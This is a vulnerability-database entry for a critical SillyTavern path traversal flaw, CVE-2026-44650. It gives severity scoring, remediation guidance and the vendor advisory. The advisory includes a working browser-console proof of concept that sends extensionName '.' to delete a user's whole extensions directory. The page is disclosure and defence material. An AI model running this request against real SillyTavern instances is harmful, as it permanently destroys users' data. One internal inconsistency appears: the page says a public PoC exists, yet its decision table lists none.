Skip to main content

SillyTavern EUVDEUVD-2026-33404

| CVE-2026-44650 CRITICAL
Path Traversal (CWE-22)
2026-05-12 https://github.com/SillyTavern/SillyTavern GHSA-886q-f44j-h6wh
9.1
CVSS 3.1 · Vendor: https://github.com/SillyTavern/SillyTavern
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach SillyTavern HTTP endpoint
  2. Delivery
    Fetch CSRF token from /csrf-token
  3. Exploit
    POST /api/extensions/delete with extensionName '.'
  4. Execution
    sanitize collapses to empty, path resolves to base
  5. Persist
    Recursive delete of extensions directory
  6. Impact
    All third-party extensions permanently lost

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to reach the HTTP API of a running SillyTavern instance and to obtain a CSRF token from the /csrf-token endpoint (which is itself unauthenticated and freely served in the default configuration), then POST to /api/extensions/delete with extensionName set exactly to '.'. In the default deployment (basicAuthMode: false) no authentication or user privileges are needed (PR:N), matching the CVSS AV:N/AC:L/PR:N/UI:N vector. Limiting factors: enabling basic authentication or binding the service to localhost blocks direct remote access, so real-world exposure depends on instances being network-reachable; deleting the shared/global extensions directory additionally requires the request to target a global extension (global: true) with admin context. For fully remote exploitation against a localhost-bound instance, the attacker must chain DNS rebinding (CVE-2025-59159) and lure the victim to a malicious website.

Impact

The reported CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H, 9.1 Critical) is internally consistent with the description: network-reachable, low complexity, no privileges, no user interaction, high integrity and availability impact, no confidentiality impact. However, the signals conflict on real-world urgency - EPSS is only 0.08% (24th percentile) and the CVE is NOT in CISA KEV, indicating no observed active exploitation despite a public PoC. This is a case where a genuinely high-severity, trivially exploitable bug carries low measured exploitation probability, consistent with SillyTavern being a self-hosted hobbyist product that is rarely internet-exposed. The practical risk is elevated when instances are reachable by untrusted networks or when chained with CVE-2025-59159 (DNS rebinding), which the reporter notes enables unauthenticated exploitation from a malicious website against a victim's locally-bound instance. Note the impact is destructive (data loss) rather than code execution or data theft.

Exploit ScenarioDerived

An attacker who can reach a SillyTavern instance (default: no auth) sends a single POST /api/extensions/delete request with body {"extensionName": "."} plus a valid CSRF token fetched from /csrf-token, and the server responds 200 while recursively deleting the user's entire extensions directory. A working browser-console PoC is published in the advisory. Because AV:N/AC:L/PR:N/UI:N, no authentication, privileges, or victim interaction are required, and the same request can be delivered from a malicious webpage via DNS rebinding (CVE-2025-59159) against a victim's locally-running instance.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 23, 2026

Unauthenticated directory deletion in SillyTavern versions <= 1.17.0 lets remote attackers wipe a user's entire extensions directory by sending 'extensionName' value of '.' to the POST /api/extensions/delete endpoint. Because the truthiness check runs before sanitize-filename (which collapses '.' to an empty string), path.join resolves back to the extensions base directory itself and fs.rm recursively deletes it. A working proof-of-concept exists and no authentication is needed in the default configuration (basicAuthMode: false), though EPSS scores this at just 0.08% and it is not on the CISA KEV list - no public exploit identified as actively exploited at time of analysis.

RemediationAI

Vendor-released patch: upgrade to SillyTavern 1.18.0 or later, which corrects the validation ordering (release notes: https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0; advisory: https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-886q-f44j-h6wh). If immediate upgrade is not possible, restrict network exposure by binding SillyTavern to localhost only and enabling basic authentication (basicAuthMode: true) so the endpoint is not reachable unauthenticated - the trade-off is that remote/shared access then requires credentials. Because the exploit can be chained with DNS rebinding (CVE-2025-59159), also configure the private-address whitelist and forwarded-IP header controls introduced in 1.18.0, and place the instance behind an authenticating reverse proxy. As a data-safety compensating control, back up the data/*/extensions directories so a successful deletion is recoverable; note this does not prevent the deletion, only limits its permanence.

Affected VersionsENISA

SillyTavern < 1.18.0

Affected Packages

npm sillytavern fix: 1.18.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SillyTavern is a self-hosted Node.js/Express front-end for large language model chat, distributed via npm (pkg:npm/sillytavern). The flaw lives in src/endpoints/extensions.js and is a classic CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) manifesting as arbitrary directory deletion. The root cause is ordering: the handler validates that request.body.extensionName is truthy, then passes it to the sanitize-filename npm package. Per that library's documented behavior, sanitize('.') returns an empty string, and Node's path.join(basePath, '') returns basePath unchanged. The subsequent fs.promises.rm(extensionPath, { recursive: true }) therefore targets the extensions base directory (e.g. data/default-user/extensions) rather than a child of it. The same before-sanitize validation pattern is reported to affect the /update, /version, /branches, and /switch endpoints.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/SillyTavern/SillyTavern) PRIMARY 9.1 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
vuln.today AI 9.1 CRITICAL

Default config needs no auth (PR:N) and a single low-complexity network request (AV:N/AC:L); impact is destructive deletion of extensions (I:H/A:H) with no data disclosure (C:N).

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/SillyTavern/SillyTavern).

CVSS VectorVendor: https://github.com/SillyTavern/SillyTavern

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionCVE.org

Summary

POST /api/extensions/delete endpoint accepts extensionName: "." which bypasses sanitize-filename validation, causing the entire user extensions directory to be recursively deleted. No authentication is required in the default configuration.

Affected File

src/endpoints/extensions.js (last modified: commit 3ad9b05e2)

Root Cause

The validation check occurs before sanitization:

javascript
// [1] "." is truthy - passes the check
if (!request.body.extensionName) {
    return response.status(400).send('Bad Request');
}

// [2] sanitize(".")  →  ""
const extensionPath = path.join(basePath, sanitize(extensionName));
// path.join("data\\default-user\\extensions", "")
// = "data\\default-user\\extensions"  ← basePath itself!

// [3] Deletes the entire extensions directory
await fs.promises.rm(extensionPath, { recursive: true });

sanitize-filename converts "." to "" (documented behavior). path.join(basePath, "") returns basePath itself. Result: the entire data\default-user\extensions\ directory is deleted.

Proof of Concept

Tested on: Windows 10, SillyTavern v1.17.0, commit 004f1336e Authentication: none (basicAuthMode: false, default configuration)

Run in browser console (F12) while SillyTavern is open:

javascript
async function poc() {
    const { token } = await (await fetch('/csrf-token')).json();
    const headers = {
        'Content-Type': 'application/json',
        'X-CSRF-Token': token,
    };

    // Before: 1 extension installed
    const before = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('Before:', before.filter(e => e.type === 'local'));
    // [{ type: 'local', name: 'third-party/Extension-Notebook' }]

    // Attack
    const res = await fetch('/api/extensions/delete', {
        method: 'POST',
        headers,
        body: JSON.stringify({ extensionName: '.' }),
    });
    console.log('Status:', res.status);      // 200
    console.log('Body:', await res.text());  // "Extension has been deleted at data\default-user\extensions"

    // After: empty
    const after = await (await fetch('/api/extensions/discover', { headers })).json();
    console.log('After:', after.filter(e => e.type === 'local'));
    // []
}
poc();

Result: Before: [{ type: 'local', name: 'third-party/Extension-Notebook' }] Status: 200 Body: Extension has been deleted at data\default-user\extensions After: []

Impact

  • No authentication required (basicAuthMode: false by default).

Any user with network access to the SillyTavern instance can permanently delete the entire extensions directory with a single HTTP request.

  • All installed third-party extensions are unrecoverably lost.
  • With global: true and admin privileges, the global extensions directory

shared across all users can also be deleted.

  • This vulnerability can be chained with CVE-2025-59159 (DNS rebinding) to

enable unauthenticated remote exploitation from a malicious website.

Same Pattern in Other Endpoints

The same vulnerability exists in:

  • POST /api/extensions/update
  • POST /api/extensions/version
  • POST /api/extensions/branches
  • POST /api/extensions/switch

Suggested Fix

javascript
const sanitized = sanitize(extensionName);

// Check AFTER sanitizing
if (!sanitized) {
    return response.status(400).send('Bad Request: Invalid extension name.');
}

const extensionPath = path.join(basePath, sanitized);

// Additional path traversal guard
const resolvedPath = path.resolve(extensionPath);
const resolvedBase = path.resolve(basePath);
if (!resolvedPath.startsWith(resolvedBase + path.sep)) {
    return response.status(400).send('Bad Request: Invalid extension path.');
}

Apply the same fix to /update, /version, /branches, and /switch endpoints.

References

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1 Critical)
  • sanitize-filename npm: https://www.npmjs.com/package/sanitize-filename
  • Related CVE (same project): CVE-2025-59159

##REPORTED BY Jormungandr

Executive ViewAI

Why It Matters

SillyTavern versions 1.17.0 and earlier are vulnerable to unauthenticated remote deletion of user extensions directories via a simple API request; publicly available exploit code exists. Organizations running this software with default authentication settings face immediate risk of data loss without patching.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.1%
Top 76% exploitable
Prevalence
Low
self-hosted hobbyist LLM chat front-end, minimal enterprise footprint
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2024-35286 CRITICAL POC
9.8 Oct 21

A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy